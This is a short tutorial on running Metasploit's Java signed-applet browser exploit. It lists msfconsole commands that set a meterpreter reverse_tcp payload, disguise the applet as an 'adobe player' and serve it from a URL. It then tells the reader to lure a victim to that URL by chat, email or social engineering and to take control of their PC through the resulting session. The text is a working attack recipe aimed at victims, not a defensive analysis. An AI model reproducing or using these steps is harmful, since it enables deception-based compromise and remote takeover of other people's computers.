This exploit dynamically creates a .jar file via the Msf:: Exploit::Java mixin, then signs the it. The resulting signed applet is presented to the victim via a web page with an applet tag. The victim’s JVM will pop a dialog asking if they trust the signed applet. On older versions the dialog will display the value of CERTCN in the “Publisher” line. Newer JVMs display “UNKNOWN” when the signature is not trusted (i.e., it’s not signed by a trusted CA). The SigningCert option allows you to provide a trusted code signing cert, the values in which will override CERTCN. If SigningCert is not given, a randomly generated self-signed cert will be used. Either way, once the user clicks “run”, the applet executes with full user permissions.
Open backtrack terminal type msfconsole
Now type use exploit/multi/browser/java_signed_applet press enter
Now type Show options
Msf exploit (Java_signed-applet)>Set payload windows/meterpreter/reverse_tcp
Msf exploit (Java_signed-applet)>Set appletname adobe (The main applet’s class name)
Msf exploit (Java_signed-applet)>Set certcn adobe player (value for the certificate)
Msf exploit (Java_signed-applet)>Set srvhost 192.168.1.4 (This must be an address on the local machine)
Msf exploit (Java_signed-applet)>Set srvport 80 (The local port to listen on default: 8080)
Msf exploit (Java_signed-applet)>Set uripath adobevideos (The Url to use for this exploit)
Msf exploit (Java_signed-applet)>Set lport 443
Msf exploit (Java_signed-applet)>exploit
Now an URL you should give to your victim http://192.168.1.4/adobevideos
Send the link of the server to the victim via chat or email or any social engineering technique.
When the victim open that link in their browser, immediately it will alert a dialog box about digital signature cannot be verified like picture below.
You now have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“